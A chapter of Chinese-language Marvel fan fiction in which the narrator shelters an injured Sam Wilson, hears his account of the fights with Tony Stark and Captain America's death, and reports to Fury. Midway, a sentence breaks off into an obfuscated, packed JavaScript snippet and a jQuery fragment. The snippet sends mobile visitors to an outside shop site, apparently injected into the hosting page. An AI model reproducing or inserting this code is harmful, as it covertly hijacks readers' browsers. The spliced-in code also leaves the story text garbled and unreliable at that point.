等回到纽约的时候，差不多已经是凌晨四点。这会儿几乎算得上一天中最安静的时刻，连送牛奶的家伙也才刚刚起床准备刮胡子。除了我们之外，路上几乎见不到什么车，只有一只白色的垃圾袋在微风中沿着人行道朝我们一路翻滚追赶，但很快就被抛到了身后。在我的住处附近，娜塔莎停下车，但没熄火。这辆破车经过昨晚的一通折腾，虽然还没散架，但声音听起来已经不对劲了。估计要不了多久，我就得把这堆废铁送进修理厂，要不然就干脆问弗瑞重新要一辆。
“你们先回去，我去找医生。”娜塔莎扭头看着我们，胳膊搭在车座靠背上，“大概要半个小时。”
“注意安全。”我点了点头，然后推了推不知道是睡过去还是昏过去的山姆。他勉强睁开眼睛看了我一眼，没精打采地点了点头。我于是下车绕到另一边，把他半扶半抱着弄出车，然后一脚踢上车门。
等车子开走以后，我就架着山姆往出租楼走过去。他几乎把全身的重量都压在我肩上，左腿显得有点跛，在我这个庸医看来，很可能是胫骨受了伤。
“这是什么地方？”他小声问我，嗓子哑得厉害。我提醒自己待会儿得给他倒点水喝。
“我住的地方。现在把嘴乖乖闭上，医生要过一会儿才能到。”
“我知道。我听到娜塔莎说的了。”
今晚我们虽然和“幸运”这个词一点也沾不上边，但至少这一路上，我们没碰到任何闲人或者麻烦事。到了家门口，我一只手从山姆的腋下穿过去，撑着他的身子，一边费劲地从口袋里掏钥匙。最开始的几秒钟，我还以为自己把该死的钥匙给弄丢了。那样的话，我就不得不像个窃贼似的撬锁才能进门了。结果钥匙只是从裤子口袋裂开的缝滑进了里面而已。我用力把手伸进去，同时听到“嗤啦”一声响，不过至少把钥匙成功拽了出来。
“我说，你刚刚是把自己的裤|裆扯破了吗？”山姆哼哼着问。
“别耍小聪明，猎鹰。”
进屋之后，等到我替他把身上的装备卸下来，能找到的伤口都初步包扎之后，已经是二十分钟之后了。山姆坚决要在沙发上躺着，但我成功用蛮力把他抱到了我的床上，然后威胁他如果试图玷污我的沙发，我就把他打包送给托尼史塔克。
“你真可怕。”他嘟哝，小心翼翼地在床上动了动，好让自己躺得舒服点。
“九头蛇费尽人力、财力才保证这一点，所以别大惊小怪，好吗？”我说着把玻璃杯凑到他嘴边，“喝点水，你听起来就像干吞了两斤沙子似的。”
“别把我当小孩哄。”山姆低哼了一声，不过还是老老实实喝了水。然后他躺回去，缓缓叹了口气。
我把玻璃杯放到床头。过了一会儿，我开口：“娜塔莎还要过一会儿才来，你介意先和我说两句话吗？”
山姆疲倦地打了个手势，示意我继续。此时此刻，他看上去并不需要接受讯问，而是需要好好休息。但我还是残忍地抓住这个机会压低声音问他：“你知道史蒂夫的下落吗？”
“不知道。”他嘟哝着回答。
“究竟发生了什么？我是说，在乌克兰的时候你们都还在一起，不是吗？”
“是。”山姆的声音听起来像是叹息，“史塔克一直在追杀我们，追杀你那个神经病朋友。”
“他不是神经病。”我小声说，然后低下头看着自己放在膝盖上的拳头。
山姆在黑暗中抬眼看我，低语：“在柏林的时候，他就发过一次疯。托尼当时闯进禁闭室去问他什么东西，我和队长只晚到了一步，那里就乱成了一锅粥。巴恩斯一开始看起来像是癫痫发作。”他咳嗽了一声，“但癫痫发作可不会让你像疯子一样攻击别人。”
我的心顿时紧缩起来，几乎让呼吸变得困难。“巴基又发病了？”
“又？他以前也那样过？”山姆瞟了我一眼，像是在好奇我是怎么活到现在的，“不管怎么说，我们几个都被他打得够惨。队长最后勉强制住了他，但托尼根本不打算和平解决这件事。我们不得不夹着尾巴逃出了柏林。谢天谢地当时托尼的战甲不在身上，不然场面只会更加难看。”
“然后呢？你们怎么会跑到乌克兰去的？”
“一开始我们只是想避避风头，然后找机会去抓那个幕后黑手泽莫。但后来我们听到风声，说什么美国队长被捕。”他瞥了我一眼，看得我脸上微微发烧，“当时我们就知道，这是你小子做的好事。巴恩斯坚持说你一定是找到了什么关键证据，所以才会去自投罗网。队长当然也不打算让你替他顶罪。但我们还需要一份能证明冬日战士是被九头蛇洗脑控制的证据。”
“所以你们就去了乌克兰？”
“嗯哼，我们本来是打算去西伯利亚的。但史塔克一路围追堵截，不得已，我们只好向一些靠得住的朋友求助。最后，半道在乌克兰那里，我们还是免不了大动干戈。”他说到这里顿了顿，叹了口气，“这听起来不怎么振奋人心，但和曾经的战友动手也不是什么值得纪念的事情。巴顿的听力很可能被爆炸损伤得非常厉害。罗迪和旺达也都伤得很重，幻视带着旺达提前离开了战场。我们剩下的人一直在争取机会，至少让队长和巴恩斯逃走。因为就连我也看得出来，托尼是铁了心要杀巴恩斯。”
“真糟糕，是不是？”我低声说。
“要不是美国队长遇刺身亡的消息传到我们这里，事情还会更加糟糕。”山姆看着我，“那个时候托尼几乎已经要把队长和巴恩斯的飞机打下来了，但他突然停手，然后一言不发地调头离开了战场。我们过了一阵子才弄明白到底发生了什么。”
我耸了耸肩，不知道该说什么，于是哼了一声。
“那就是我最后一次见到队长，其他人都各自逃命去了，因为特攻队当时已经在闻讯赶来的路上了。”山姆平静地说，然后伸手去拿床头柜的玻璃杯，咕嘟咕嘟喝了几大口，又叹了口气，“我后来一个人去过西伯利亚，但没有找到任何线索。队长本该在拿到证据之后和我们汇合，然后回到美国接受审判的。这才是我们本来的计划。”
我的胃里沉甸甸的。“一定是发生了什么意外。”
“这谁知道，搞不好他和巴恩斯私奔了呢。”山姆不负责任地开完玩笑之后瞥了我一眼，“话说回来，你又是怎么回事？我一直以为你小子真的去见猫王了。”
“好人不长命，祸害遗千年。”
“这说法听起来很他妈的悲观啊，老弟。”
“这是中国的老话，充满了智慧，好好听着吧。”我勉强打起精神，冲他笑了笑。
山姆挑了挑眉，“忘了说，你的眼睛看起来真他妈酷毙了。”
“可不是。”我含糊地说，“再给我一条机械臂，我就能当‘电索’了。”
山姆没听清我说什么，他重新闭上了眼睛。刚才那番对话显然消耗了他的大部分体力。我缓缓站起来，但还没来得及往客厅走，房门就被
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13616763|143466||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
人轻轻推开。我立刻一把抽出枕头下的枪，闪身躲到了门后。山姆也睁开眼睛，警醒地撑起上半身。
“是我。”娜塔莎的声音响起，“你们两个胆小鬼最好把枪都收起来，来的可是两位淑女。”
我松了口气，把枪别到腰带后面，然后到客厅去。凯茜果然跟在娜塔莎后面，手里提着急救箱。尽管现在是凌晨时分，她看上去仍旧很清醒，也很严肃，一如既往。
“客套话我看就免了。”娜塔莎在我有机会开口前拉着凯茜往卧室走去，头也不回地对我说，“还有人等着你汇报任务情况呢。”
我叹了口气，拿起茶几上的钥匙，出了门，然后到楼顶天台上去给弗瑞打电话，告诉他今晚发生的事情。
“你们本事不小，”他听完之后说，“第一天就弄出这么大的动静来。”
“考虑到猎鹰说的那些情况，KCA和九头蛇也许是敌对关系。你想这有可能吗？”我皱着眉问他。
弗瑞回答：“我可不姓福尔摩斯，而且搞清楚事情的真相是你的任务。”
“九头蛇一直想要置美国队长于死地，没道理他们会阻止一个有着同样目标的组织。”我放慢语速，“我之前一直怀疑KCA是九头蛇搞出来的，但现在看来情况没那么简单。”
“继续跟进，有事情随时汇报。”弗瑞不置可否，说完就挂了电话。我叹了口气，把手机揣回口袋，仰头望着城市上方肮脏的夜空。
我一直等到下面差不多完事了才回去。凯茜正在收拾东西，看见我之后动作一顿，又把东西拿出来，朝我伸手，“胳膊给我。”
“噢？噢！”我早忘了胳膊上的伤，“不用麻烦了吧，反正自己也能好。”
凯茜没回答，而且我胳膊上的那道口子也不如我预期中那样好得快，所以我在茶几上坐下，让凯茜替我处理伤口。
“最近感觉身体有什么不对劲的地方吗？”她一边轻轻抓着我的胳膊，一边头也不抬地问。
我心不在焉地回答：“没有。”
“没有头疼？”
“没有。”
“有没有突然听到什么奇怪的声音，或者看到什么奇怪的画面？”
我有些诧异地看了她一眼，然后否认了。凯茜正用药棉替我把伤口周围的血污擦干净，这时抬头看了看我。她看上去像是在极力掩饰自己的担忧。而我也恰到好处的没有把心里的好奇表现出来。
事实证明我身上的伤还真不少，那个穿黑衣服的王八蛋把我打得够惨。我在心里默默祝福他伤得比我还惨，最好脑震荡。
“好好休息。”凯茜最后站起来，“你的朋友这几天最好都不要挪地方。他肩上的伤很重，不修养好的话可能会落下残疾。”
“遵命，长官。”
凯茜笑了笑，看上去终于不再是一脸沉重了。她收拾好东西，和我道了别。一直靠在墙上的娜塔莎直起身子来，挽着她的胳膊离开了。我看着空荡荡的客厅，然后又到卧室去检查山姆的情况。
他睡得很沉，只穿着背心和短裤，看上去比平时仿佛小了一号。我看着他胡子拉碴的下巴，心里想着这六个月他是怎么试图追查史蒂夫的下落，又是怎么转移目标决定去查九头蛇的。
一团乱麻啊，伙计。
天快亮了，但我感觉从头到脚都很疲惫，于是躺到沙发上准备休息一会儿。我本来以为自己睡不着的，但我却睡着了。
梦里，我又回到了那块墓地。